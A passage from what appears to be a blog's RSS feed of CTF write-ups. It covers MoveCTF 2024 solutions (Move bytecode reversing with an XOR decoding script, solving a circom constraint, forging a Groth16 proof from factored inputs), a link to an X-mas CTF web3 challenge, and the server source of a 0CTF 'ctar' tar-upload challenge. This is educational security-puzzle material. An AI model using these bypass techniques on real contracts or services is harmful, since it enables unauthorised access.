161,28,235,11,6,0,0,0,7,1,0,2,3,2,5,5,7,26,7,33,21,8,54,32,6,86,89,12,175,1,141,1,0,0,0,1,0,0,0,0,10,10,2,10,2,10,2,7,10,2,10,2,10,2,6,10,2,7,10,2,3,10,2,1,2,9,101,110,99,114,121,112,116,111,114,10,115,116,111,114,101,95,98,97,98,121,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,10,2,86,85,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,0,1,0,0,1,54,6,1,0,0,0,0,0,0,0,12,8,64,2,0,0,0,0,0,0,0,0,12,9,7,0,12,0,10,8,14,0,65,2,35,4,36,5,12,13,9,12,3,7,0,12,1,7,0,12,2,11,3,14,1,10,8,66,2,20,14,2,10,8,6,1,0,0,0,0,0,0,0,23,66,2,20,29,68,2,11,8,6,1,0,0,0,0,0,0,0,22,12,8,5,4,13,9,12,7,7,0,12,5,14,5,12,6,7,0,12,4,11,7,11,6,14,4,65,2,6,1,0,0,0,0,0,0,0,23,66,2,20,68,2,2,0
161,28,235,11,6,0,0,0,7,1,0,2,3,2,5,5,7,1,7,8,21,8,29,32,6,61,178,1,12,239,1,17,0,0,0,1,0,0,0,0,9,101,110,99,114,121,112,116,111,114,10,115,116,111,114,101,95,98,97,98,121,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,10,2,86,85,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,10,2,86,85,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,89,95,49,13,39,64,2,104,29,59,13,71,80,83,84,87,108,40,70,6,95,89,95,49,18,12,2,11,1,7,11,26,29,59,13,71,80,83,84,87,78,125,0,1,0,0,0,3,6,3,0,0,0,0,0,0,0,1,2,0&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;I noticed the above data are move bytecodes because &lt;code&gt;161, 28, 235, 11&lt;/code&gt; is a move bytecode signature.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// Move bytecode v6
module 0.encryptor {


public store_baby() {
B0:
        0: LdU64(3)
        1: Pop
        2: Ret
}

Constants [
        0 =&amp;gt; vector&amp;lt;u8&amp;gt;: &amp;quot;XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX&amp;quot; // interpreted as UTF8 string
        1 =&amp;gt; vector&amp;lt;u8&amp;gt;: &amp;quot;
GPSTWl(F_Y_1}FEl;NPSTWl(FEXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX&amp;quot; // interpreted as UTF8 string    
]
}&lt;/code&gt;&lt;/pre&gt;&lt;pre&gt;&lt;code&gt;// Move bytecode v6
module 0.encryptor {


public store_baby() {
L0:     loc0: vector&amp;lt;u8&amp;gt;
L1:     loc1: vector&amp;lt;u8&amp;gt;
L2:     loc2: vector&amp;lt;u8&amp;gt;
L3:     loc3: &amp;amp;mut vector&amp;lt;u8&amp;gt;
L4:     loc4: vector&amp;lt;u8&amp;gt;
L5:     loc5: vector&amp;lt;u8&amp;gt;
L6:     loc6: &amp;amp;vector&amp;lt;u8&amp;gt;
L7:     loc7: &amp;amp;mut vector&amp;lt;u8&amp;gt;
L8:     loc8: u64
L9:     loc9: vector&amp;lt;u8&amp;gt;
B0:
        0: LdU64(1)
        1: StLoc[8](loc8: u64)
        2: VecPack(2, 0)
        3: StLoc[9](loc9: vector&amp;lt;u8&amp;gt;)
B1:
        4: LdConst[0](Vector(U8): 55585858..)
        5: StLoc[0](loc0: vector&amp;lt;u8&amp;gt;)
        6: CopyLoc[8](loc8: u64)
        7: ImmBorrowLoc[0](loc0: vector&amp;lt;u8&amp;gt;)
        8: VecLen(2)
        9: Lt
        10: BrFalse(36)
B2:
        11: Branch(12)
B3:
        12: MutBorrowLoc[9](loc9: vector&amp;lt;u8&amp;gt;)
        13: StLoc[3](loc3: &amp;amp;mut vector&amp;lt;u8&amp;gt;)
        14: LdConst[0](Vector(U8): 55585858..)
        15: StLoc[1](loc1: vector&amp;lt;u8&amp;gt;)
        16: LdConst[0](Vector(U8): 55585858..)
        17: StLoc[2](loc2: vector&amp;lt;u8&amp;gt;)
        18: MoveLoc[3](loc3: &amp;amp;mut vector&amp;lt;u8&amp;gt;)
        19: ImmBorrowLoc[1](loc1: vector&amp;lt;u8&amp;gt;)
        20: CopyLoc[8](loc8: u64)
        21: VecImmBorrow(2)
        22: ReadRef
        23: ImmBorrowLoc[2](loc2: vector&amp;lt;u8&amp;gt;)
        24: CopyLoc[8](loc8: u64)
        25: LdU64(1)
        26: Sub
        27: VecImmBorrow(2)
        28: ReadRef
        29: Xor
        30: VecPushBack(2)
        31: MoveLoc[8](loc8: u64)
        32: LdU64(1)
        33: Add
        34: StLoc[8](loc8: u64)
        35: Branch(4)
B4:
        36: MutBorrowLoc[9](loc9: vector&amp;lt;u8&amp;gt;)
        37: StLoc[7](loc7: &amp;amp;mut vector&amp;lt;u8&amp;gt;)
        38: LdConst[0](Vector(U8): 55585858..)
        39: StLoc[5](loc5: vector&amp;lt;u8&amp;gt;)
        40: ImmBorrowLoc[5](loc5: vector&amp;lt;u8&amp;gt;)
        41: StLoc[6](loc6: &amp;amp;vector&amp;lt;u8&amp;gt;)
        42: LdConst[0](Vector(U8): 55585858..)
        43: StLoc[4](loc4: vector&amp;lt;u8&amp;gt;)
        44: MoveLoc[7](loc7: &amp;amp;mut vector&amp;lt;u8&amp;gt;)
        45: MoveLoc[6](loc6: &amp;amp;vector&amp;lt;u8&amp;gt;)
        46: ImmBorrowLoc[4](loc4: vector&amp;lt;u8&amp;gt;)
        47: VecLen(2)
        48: LdU64(1)
        49: Sub
        50: VecImmBorrow(2)
        51: ReadRef
        52: VecPushBack(2)
        53: Ret
}

Constants [
        0 =&amp;gt; vector&amp;lt;u8&amp;gt;: &amp;quot;XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX&amp;quot; // interpreted as UTF8 string
]
}&lt;/code&gt;&lt;/pre&gt;&lt;pre&gt;&lt;code&gt;// Move bytecode v6
module 0.encryptor {


public store_baby() {
B0:
        0: LdU64(3)
        1: Pop
        2: Ret
}

Constants [
        0 =&amp;gt; vector&amp;lt;u8&amp;gt;: &amp;quot;XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX&amp;quot; // interpreted as UTF8 string
GPSTWN}&amp;quot; // interpreted as UTF8 stringXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXY_1
]
}&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;The result of reversing follows as&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;module my::my {

    use std::vector;

    const FLAG: vector&amp;lt;u8&amp;gt; = vector&amp;lt;u8&amp;gt;[1];

    public fun store_baby() {
        let loc8 = 1;
        let loc9 = vector&amp;lt;u8&amp;gt;[];

        let loc0 = FLAG;
        while (loc8 &amp;lt; vector::length&amp;lt;u8&amp;gt;(&amp;amp;loc0)) {
            let loc3 = loc9;
            let loc1 = FLAG;
            let loc2 = FLAG;

            vector::push_back(&amp;amp;mut loc3, *vector::borrow&amp;lt;u8&amp;gt;(&amp;amp;loc1, loc8) ^ *vector::borrow&amp;lt;u8&amp;gt;(&amp;amp;loc2, loc8 - 1));
            loc8 = loc8 + 1;
        };

        let loc7 = loc9;
        let loc5 = FLAG;
        let loc6 = loc5;
        let loc4 = FLAG;

        vector::push_back(&amp;amp;mut loc7, *vector::borrow&amp;lt;u8&amp;gt;(&amp;amp;loc6, vector::length&amp;lt;u8&amp;gt;(&amp;amp;loc4)-1));

    }
}&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;I cons strings that are not redacted in the constants of the bytecodes.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-py&quot;&gt;data =  [161,28,235,11,6,0,0,0,7,1,0,2,3,2,5,5,7,1,7,8,21,8,29,32,6,61,178,1,12,239,1,17,0,0,0,1,0,0,0,0,9,101,110,99,114,121,112,116,111,114,10,115,116,111,114,101,95,98,97,98,121,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,10,2,86,85,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,10,2,86,85,10,13,6,28,54,125,70,69,108,29,59,13,71,80,83,84,87,108,40,70,6,95,89,95,49,18,125,70,69,108,29,59,78,4,80,83,84,87,108,40,70,69,28,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,0,1,0,0,0,3,6,3,0,0,0,0,0,0,0,1,2,0]
data2 = [161,28,235,11,6,0,0,0,7,1,0,2,3,2,5,5,7,26,7,33,21,8,54,32,6,86,89,12,175,1,141,1,0,0,0,1,0,0,0,0,10,10,2,10,2,10,2,7,10,2,10,2,10,2,6,10,2,7,10,2,3,10,2,1,2,9,101,110,99,114,121,112,116,111,114,10,115,116,111,114,101,95,98,97,98,121,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,10,2,86,85,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,0,1,0,0,1,54,6,1,0,0,0,0,0,0,0,12,8,64,2,0,0,0,0,0,0,0,0,12,9,7,0,12,0,10,8,14,0,65,2,35,4,36,5,12,13,9,12,3,7,0,12,1,7,0,12,2,11,3,14,1,10,8,66,2,20,14,2,10,8,6,1,0,0,0,0,0,0,0,23,66,2,20,29,68,2,11,8,6,1,0,0,0,0,0,0,0,22,12,8,5,4,13,9,12,7,7,0,12,5,14,5,12,6,7,0,12,4,11,7,11,6,14,4,65,2,6,1,0,0,0,0,0,0,0,23,66,2,20,68,2,2,0]
data3 = [161,28,235,11,6,0,0,0,7,1,0,2,3,2,5,5,7,1,7,8,21,8,29,32,6,61,178,1,12,239,1,17,0,0,0,1,0,0,0,0,9,101,110,99,114,121,112,116,111,114,10,115,116,111,114,101,95,98,97,98,121,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,10,2,86,85,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,10,2,86,85,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,89,95,49,13,39,64,2,104,29,59,13,71,80,83,84,87,108,40,70,6,95,89,95,49,18,12,2,11,1,7,11,26,29,59,13,71,80,83,84,87,78,125,0,1,0,0,0,3,6,3,0,0,0,0,0,0,0,1,2,0]


a = []
a = data[0x60:0xe5] + data3[0xe5:0x110]

ans = [a[-1]]

for i in range(1, len(a)):
    ans.append(a[-i] ^ ans[i - 1])
print(bytes(ans)[::-1])&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;zk2&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;pragma circom 2.1.0;

template Num2Bits(n) {
    signal input in;
    signal output out[n];
    var lc1=0;

    var e2=1;
    for (var i = 0; i&amp;lt;n; i++) {
        out[i] &amp;lt;-- (in &amp;gt;&amp;gt; i) &amp;amp; 1;
        out[i] * (out[i] -1 ) === 0;
        lc1 += out[i] * e2;
        e2 = e2+e2;
    }

    lc1 === in;
}

template LessThan(n) {
    assert(n &amp;lt;= 252);
    signal input in[2];
    signal output out;

    component n2b = Num2Bits(n+1);

    n2b.in &amp;lt;== in[0]+ (1&amp;lt;&amp;lt;n) - in[1];

    out &amp;lt;== 1-n2b.out[n];
}

template GreaterThan(n) {
    signal input in[2];
    signal output out;

    component lt = LessThan(n);

    lt.in[0] &amp;lt;== in[1];
    lt.in[1] &amp;lt;== in[0];
    lt.out ==&amp;gt; out;
}

template ZK2() {
    signal input x;
    signal input delta;    
    signal output y;    
    signal x_square;
    signal delta_square;

    component gt = GreaterThan(252);
    gt.in[0] &amp;lt;== 1;
    gt.in[1] &amp;lt;== x;
    gt.out === 0;

    x_square &amp;lt;== x * x;
    delta_square &amp;lt;== delta * delta;

    168700*x_square + delta_square === 1 + 168696 * x_square * delta_square;
    y &amp;lt;== delta;
}


component main = ZK2();&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;According to &lt;a href=&quot;https://docs.circom.io/circom-language/basic-operators/&quot;&gt;https://docs.circom.io/circom-language/basic-operators/&lt;/a&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Field Elements
A field element is a value in the domain of Z/pZ, where p is the prime number set by default to

p = 21888242871839275222246405745257275088548364400416034343698204186575808495617.

As such, field elements are operated in arithmetic modulo p.

The circom language is parametric to this number, and it can be changed without affecting the rest of the language (using GLOBAL_FIELD_P).&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;The challenge requries us to solve &lt;code&gt;168700*x_square + delta_square === 1 + 168696 * x_square * delta_square&lt;/code&gt;&lt;br&gt;We can find a solution using sage script.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;p=21888242871839275222246405745257275088548364400416034343698204186575808495617
F=GF(p)
x=F(255)
xs=x^2
ds=4*x^2/(168696*x^2-1)+1
d=ds.sqrt()
assert 168700*xs+ds==1+168696*xs*ds
print(d)&lt;/code&gt;&lt;/pre&gt;&lt;h2&gt;kitchen&lt;/h2&gt;
&lt;p&gt;This challenge consists of two stages: &lt;code&gt;cook&lt;/code&gt; and &lt;code&gt;recook&lt;/code&gt;. In order to retrieve the flag we need to solve them both.&lt;br&gt;To solve the cook stage we had to construct some structs and pass them over to the &lt;code&gt;cook()&lt;/code&gt; function.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-move&quot;&gt;let olive_oil = Olive_oil{
    amount: 0x15a5,
};

let olive_oil2 = Olive_oil{
    amount: 0xb8a6,
};

let olive_oil3 = Olive_oil{
    amount: 0xf8c9,
};

let olive_oil4 = Olive_oil{
    amount: 0x46bb,
};

let yeast = Yeast{
    amount: 0x00bd,
};

let yeast2 = Yeast{
    amount: 0x9d99,
};

let yeast3 = Yeast{
    amount: 0x7eb7,
};

let flour = Flour{
    amount: 0x8ad7,
};

let flour2 = Flour{
    amount: 0x84fa,
};

let flour3 = Flour{
    amount: 0xf2b8,
};

let salt = Salt{
    amount: 0xc5f1,
};

let salt2 = Salt{
    amount: 0x22e1,
};
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;To solve the recook stage we had to create a dummy function which calls the &lt;code&gt;recook()&lt;/code&gt; function with dummy parameters and the add a debug message to leak the value for the &lt;code&gt;out&lt;/code&gt; parameter.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-move&quot;&gt;#[test]
fun dump_code_test(){
    let status = Status {
        status1: false,
        status2: false,
        user: @0x0,
    };
    let out: vector&amp;lt;u8&amp;gt; = vector::empty&amp;lt;u8&amp;gt;();
    recook(out, &amp;amp;mut status);
}&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The code is &lt;code&gt;[debug] 0x06d9b954eb6892f7c5eca184d00400bd81fc9d997eb705c7dc7acc198fb1966d8a03018bc5f1ecc6&lt;/code&gt;&lt;br&gt;After that we only had to call the &lt;code&gt;get_flag()&lt;/code&gt; function.&lt;/p&gt;
&lt;h2&gt;easygame&lt;/h2&gt;
&lt;p&gt;We need to provide an array of numbers that concatenated to the list &lt;code&gt;[1, 2, 4, 5, 1, 3, 6, 7, 1, 5]&lt;/code&gt; and ran through the &lt;code&gt;rob()&lt;/code&gt; function returns the value 22. To discover the numbers, I ran a simple brute-force.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-move&quot;&gt;#[test]
fun test_rob() {
    let houses = vector::empty&amp;lt;u64&amp;gt;();
    vector::push_back(&amp;amp;mut houses, 1);
    vector::push_back(&amp;amp;mut houses, 2);
    vector::push_back(&amp;amp;mut houses, 4);
    vector::push_back(&amp;amp;mut houses, 5);
    vector::push_back(&amp;amp;mut houses, 1);
    vector::push_back(&amp;amp;mut houses, 3);
    vector::push_back(&amp;amp;mut houses, 6);
    vector::push_back(&amp;amp;mut houses, 7);

    debug::print(&amp;amp;rob(&amp;amp;houses));

    let i = 1;
    let found = 1;
    while(i &amp;lt; 6) {
        let j = 0;
        while(j &amp;lt; 6) {
            vector::push_back(&amp;amp;mut houses, i);
            vector::push_back(&amp;amp;mut houses, j);
            let amount_robbed = rob(&amp;amp;houses);
            debug::print(&amp;amp;i);
            debug::print(&amp;amp;j);
            debug::print(&amp;amp;amount_robbed);
            if(amount_robbed == 22){
                debug::print(&amp;amp;houses);
                found = 1;
                break;
            };
            let _a = vector::pop_back(&amp;amp;mut houses);
            let _b = vector::pop_back(&amp;amp;mut houses);
            j = j + 1;
        };
        if(found == 1){
            break;
        };
        i = i + 1;
    };
}&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Running the test will print:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;[debug] [ 1, 2, 4, 5, 1, 3, 6, 7, 1, 5 ]&lt;/code&gt;&lt;/pre&gt;&lt;h2&gt;zk1&lt;/h2&gt;
&lt;p&gt;In order to solve this challenge we had to provide a proof that we know two numbers, both greater than one, whose product equals the value &lt;code&gt;58567186824402957966382507182680956225095467533943200425018625513920465170743&lt;/code&gt;. We could easily determin the factors using: &lt;a href=&quot;http://factordb.com/index.php?query=58567186824402957966382507182680956225095467533943200425018625513920465170743&quot;&gt;http://factordb.com/index.php?query=58567186824402957966382507182680956225095467533943200425018625513920465170743&lt;/a&gt;&lt;br&gt;Then, following the sui zk tutorial, we were able to generate a proof using the following script:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-rust&quot;&gt;use ark_bn254::Bn254;
use ark_circom::CircomBuilder;
use ark_circom::CircomConfig;
use ark_serialize::{CanonicalSerialize, CanonicalDeserialize};
use ark_groth16::{Groth16, ProvingKey};
use ark_snark::SNARK;
use rand;
use std::fs::File;

fn main() {
    let cfg = CircomConfig::&amp;lt;Bn254&amp;gt;::new(&amp;quot;zk1.wasm&amp;quot;, &amp;quot;zk1.r1cs&amp;quot;).unwrap();

    let mut builder = CircomBuilder::new(cfg);
    builder.push_input(&amp;quot;a&amp;quot;, 223960747878782291107008135733958922391 as u128);
    builder.push_input(&amp;quot;b&amp;quot;, 261506479948451388126301943086863538273 as u128);

    let circom = builder.setup();

    let mut rng = rand::thread_rng();
    let mut file = File::open(&amp;quot;key.bin&amp;quot;).unwrap();
    let params = ProvingKey::&amp;lt;Bn254&amp;gt;::deserialize_compressed(&amp;amp;mut file).unwrap();

    let circom = builder.build().unwrap();

    let inputs = circom.get_public_inputs().unwrap();

    let proof = Groth16::&amp;lt;Bn254&amp;gt;::prove(&amp;amp;params, circom, &amp;amp;mut rng).unwrap();

    let pvk = Groth16::&amp;lt;Bn254&amp;gt;::process_vk(&amp;amp;params.vk).unwrap();
    let verified = Groth16::&amp;lt;Bn254&amp;gt;::verify_with_processed_vk(&amp;amp;pvk, &amp;amp;inputs, &amp;amp;proof).unwrap();
    println!(&amp;quot;{:?}&amp;quot;, verified);
    println!(&amp;quot;{:?}&amp;quot;, inputs);
    println!(&amp;quot;{:?}&amp;quot;, proof);

    let mut proof_inputs_bytes = Vec::new();
    inputs.serialize_compressed(&amp;amp;mut proof_inputs_bytes).unwrap();

    let mut proof_points_bytes = Vec::new();
    proof.a.serialize_compressed(&amp;amp;mut proof_points_bytes).unwrap();
    proof.b.serialize_compressed(&amp;amp;mut proof_points_bytes).unwrap();
    proof.c.serialize_compressed(&amp;amp;mut proof_points_bytes).unwrap();

    println!(&amp;quot;{:#?}&amp;quot;, proof_inputs_bytes);
    println!(&amp;quot;{:#?}&amp;quot;, proof_points_bytes);
}&lt;/code&gt;&lt;/pre&gt;</description>
      <category>writeups</category>
      <author>gss1</author>
      <guid isPermaLink="true">https://gss1.tistory.com/179</guid>
      <comments>https://gss1.tistory.com/entry/2024MoveCTF#entry179comment</comments>
      <pubDate>Sun, 28 Jan 2024 12:30:33 +0900</pubDate>
    </item>
    <item>
      <title>2023 X-mas CTF (web3 - alpha hunter)</title>
      <link>https://gss1.tistory.com/entry/2023-X-mas-CTF-web3-alpha-hunter</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;My first ctf-challenge was released in dreamhack.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://dreamhack.io/wargame/challenges/1060&quot;&gt;https://dreamhack.io/wargame/challenges/1060&lt;/a&gt;&lt;/p&gt;
&lt;figure id=&quot;og_1704034671296&quot; contenteditable=&quot;false&quot; data-ke-type=&quot;opengraph&quot; data-ke-align=&quot;alignCenter&quot; data-og-type=&quot;website&quot; data-og-title=&quot;Alpha Hunter&quot; data-og-description=&quot;merry christmas Description 알파벳을 모아 MERRY CHRISTMAS를 완성해 주세요!! [RPC Usage] RPC: http://host:port/rpc GET FLAG: curl -X GET http://host:port/flag [Account Information] address: 0x377CFaD82A885Ef59C9243f715F33752804B1126 private key&quot; data-og-host=&quot;dreamhack.io&quot; data-og-source-url=&quot;https://dreamhack.io/wargame/challenges/1060&quot; data-og-url=&quot;https://dreamhack.io/wargame/challenges/1060&quot; data-og-image=&quot;https://scrap.kakaocdn.net/dn/b5KUHZ/hyUTJbQ27Z/BLPd00C0r7ok2G98t7mPjk/img.png?width=512&amp;amp;height=512&amp;amp;face=0_0_512_512,https://scrap.kakaocdn.net/dn/kgVGF/hyUTJCVsiv/CYVrXvxZvGrGkKOWuwKD71/img.png?width=512&amp;amp;height=512&amp;amp;face=0_0_512_512,https://scrap.kakaocdn.net/dn/cSlH4W/hyUTDW0c3m/nBkPIxaDRjAsO8dTOkRwEk/img.jpg?width=938&amp;amp;height=1280&amp;amp;face=0_0_938_1280&quot;&gt;&lt;a href=&quot;https://dreamhack.io/wargame/challenges/1060&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; data-source-url=&quot;https://dreamhack.io/wargame/challenges/1060&quot;&gt;
&lt;div class=&quot;og-image&quot; style=&quot;background-image: url('https://scrap.kakaocdn.net/dn/b5KUHZ/hyUTJbQ27Z/BLPd00C0r7ok2G98t7mPjk/img.png?width=512&amp;amp;height=512&amp;amp;face=0_0_512_512,https://scrap.kakaocdn.net/dn/kgVGF/hyUTJCVsiv/CYVrXvxZvGrGkKOWuwKD71/img.png?width=512&amp;amp;height=512&amp;amp;face=0_0_512_512,https://scrap.kakaocdn.net/dn/cSlH4W/hyUTDW0c3m/nBkPIxaDRjAsO8dTOkRwEk/img.jpg?width=938&amp;amp;height=1280&amp;amp;face=0_0_938_1280');&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;og-text&quot;&gt;
&lt;p class=&quot;og-title&quot; data-ke-size=&quot;size16&quot;&gt;Alpha Hunter&lt;/p&gt;
&lt;p class=&quot;og-desc&quot; data-ke-size=&quot;size16&quot;&gt;merry christmas Description 알파벳을 모아 MERRY CHRISTMAS를 완성해 주세요!! [RPC Usage] RPC: http://host:port/rpc GET FLAG: curl -X GET http://host:port/flag [Account Information] address: 0x377CFaD82A885Ef59C9243f715F33752804B1126 private key&lt;/p&gt;
&lt;p class=&quot;og-host&quot; data-ke-size=&quot;size16&quot;&gt;dreamhack.io&lt;/p&gt;
&lt;/div&gt;
&lt;/a&gt;&lt;/figure&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://dreamhack.io/wargame/writeups/14142&quot; target=&quot;_blank&quot; rel=&quot;noopener&amp;nbsp;noreferrer&quot;&gt;https://dreamhack.io/wargame/writeups/14142&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>writeups</category>
      <author>gss1</author>
      <guid isPermaLink="true">https://gss1.tistory.com/178</guid>
      <comments>https://gss1.tistory.com/entry/2023-X-mas-CTF-web3-alpha-hunter#entry178comment</comments>
      <pubDate>Sun, 31 Dec 2023 23:58:49 +0900</pubDate>
    </item>
    <item>
      <title>0CTF/TCTF 2023 - misc(ctar)</title>
      <link>https://gss1.tistory.com/entry/0CTFTCTF-2023-miscctar</link>
      <description>&lt;h3 data-ke-size=&quot;size23&quot;&gt;chall&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1702291685776&quot; class=&quot;python&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;#!/usr/bin/python3
import os
import socketserver
import random
import signal
import string
import tempfile
import tarfile
from hashlib import sha256
from Crypto.Cipher import ChaCha20

from secret import flag,key

MAXNUM = 9
MAXFILESZ = 100
MAXTARSZ = 100000

class LicenseRequired(Exception):
	pass

class Task(socketserver.BaseRequestHandler):
    def proof_of_work(self):
        proof = ''.join([random.choice(string.ascii_letters+string.digits) for _ in range(20)])
        digest = sha256(proof.encode('latin-1')).hexdigest()
        self.request.send(str.encode(&quot;sha256(XXXX+%s) == %s\n&quot; % (proof[4:],digest)))
        self.request.send(str.encode('Give me XXXX:'))
        x = self.request.recv(10).decode()
        x = x.strip()
        xx = x+proof[4:]
        if len(x) != 4 or sha256(xx.encode('latin-1')).hexdigest() != digest:
            return False
        return True

    def recvint(self):
        try:
            return int(self.request.recv(10))
        except:
            return 0

    def recvfile(self, maxsz):
        self.request.sendall(b&quot;size: &quot;)
        sz = self.recvint()
        assert sz &amp;lt; maxsz
        self.request.sendall(b&quot;file(hex): &quot;)
        r = 2*sz+1
        res = b''
        while r &amp;gt; len(res):
            res += self.request.recv(r)
        dat = bytes.fromhex(res.strip().decode('latin-1'))
        return dat

    def savefile(self, name, dat):
        fname = os.path.join(self.dir, name)
        with open(fname, &quot;wb&quot;) as f:
            f.write(dat)
        self.request.sendall(f&quot;[OK] {name} added\n&quot;.encode('latin-1'))

    def addsec(self):
        if len(self.data) &amp;gt; MAXNUM:
            self.request.sendall(b&quot;[Error] too many secrets\n&quot;)
            raise LicenseRequired
        name = os.urandom(4).hex()
        self.data[name] = 1
        dat = self.recvfile(MAXFILESZ)
        self.savefile(name, dat)

    def upload(self):
        dat = self.recvfile(MAXTARSZ)
        c = ChaCha20.new(nonce=dat[:8], key=key)
        pt = c.decrypt(dat[8:])
        self.savefile(&quot;a.tar&quot;, pt)
        tname = os.path.join(self.dir, &quot;a.tar&quot;)
        if not tarfile.is_tarfile(tname):
            self.request.sendall(b&quot;[Error] not tar file\n&quot;)
            self.request.sendall(pt.hex().encode('latin-1')+b'\n')
            return
        f = tarfile.open(tname)
        cnt = 0
        for fname in f.getnames():
            if fname.startswith('/') or '..' in fname:
                self.request.sendall(b&quot;[Error] you need a license to hack us\n&quot;)
                raise LicenseRequired
            cnt += 1
            if cnt &amp;gt; MAXNUM:
                break
        if len(self.data) + cnt &amp;gt; MAXNUM:
            self.request.sendall(b&quot;[Error] too many files\n&quot;)
            raise LicenseRequired
        for fname in f.getnames():
            self.data[fname] = 1
        f.extractall(path=self.dir)
        os.unlink(tname)
        self.request.sendall(b&quot;[OK] upload succeeded\n&quot;)

    def readsec(self):
        raise LicenseRequired

    def download(self):
        nonce = True
        for name in self.data:
            if self.data[name] == 0:
                nonce = False
        fname = os.path.join(self.dir, &quot;a.tar&quot;)
        with tarfile.open(&quot;a.tar&quot;, 'w') as f:
            for name in self.data:
                f.add(name)
        with open(fname, 'rb') as f:
            cont = f.read()
        c = ChaCha20.new(key=key)
        dat = c.encrypt(cont)
        if nonce:
            dat = c.nonce+dat
        self.request.sendall(f&quot;[OK] ctar file size: {len(dat)}\n&quot;.encode('latin-1'))
        self.request.sendall(dat.hex().encode('latin-1')+b'\n')

    def addflag(self):
        if len(self.data) &amp;gt; MAXNUM:
            self.request.sendall(b&quot;[Error] too many secrets\n&quot;)
            raise LicenseRequired
